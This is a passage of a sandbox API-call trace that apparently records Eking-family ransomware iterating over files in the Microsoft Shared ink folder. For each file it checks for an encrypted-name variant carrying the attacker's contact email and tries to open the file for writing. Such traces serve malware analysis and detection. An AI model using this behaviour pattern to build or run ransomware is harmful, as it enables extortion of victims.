[0165.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0165.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.572] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0165.572] CloseHandle (hObject=0x1d0) returned 1 [0165.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0165.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0165.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.578] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.578] CloseHandle (hObject=0x1c8) returned 1 [0165.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0165.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0165.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.579] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.579] CloseHandle (hObject=0x1c8) returned 1 [0165.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0165.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0165.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.581] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=89600) returned 1 [0165.581] CloseHandle (hObject=0x1c8) returned 1 [0165.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0165.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0165.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.583] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=31744) returned 1 [0165.583] CloseHandle (hObject=0x1c8) returned 1 [0165.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0165.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0165.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.584] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=33280) returned 1 [0165.584] CloseHandle (hObject=0x1c8) returned 1 [0165.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0165.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0165.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.586] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=62976) returned 1 [0165.586] CloseHandle (hObject=0x1c8) returned 1 [0165.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0165.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0165.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.587] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=197120) returned 1 [0165.587] CloseHandle (hObject=0x1c8) returned 1 [0165.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0165.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0165.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.588] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=224256) returned 1 [0165.588] CloseHandle (hObject=0x1c8) returned 1 [0165.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0165.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0165.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.590] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8704) returned 1 [0165.590] CloseHandle (hObject=0x1c8) returned 1 [0165.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0165.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0165.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.591] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4608) returned 1 [0165.591] CloseHandle (hObject=0x1c8) returned 1 [0165.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0165.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0165.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.592] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9216) returned 1 [0165.592] CloseHandle (hObject=0x1c8) returned 1 [0165.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0165.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0165.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.593] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0165.593] CloseHandle (hObject=0x1c8) returned 1 [0165.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0165.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0165.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.595] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=22528) returned 1 [0165.595] CloseHandle (hObject=0x1c8) returned 1 [0165.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0165.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0165.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.596] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0165.596] CloseHandle (hObject=0x1c8) returned 1 [0165.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0165.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0165.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.596] CreateFileW 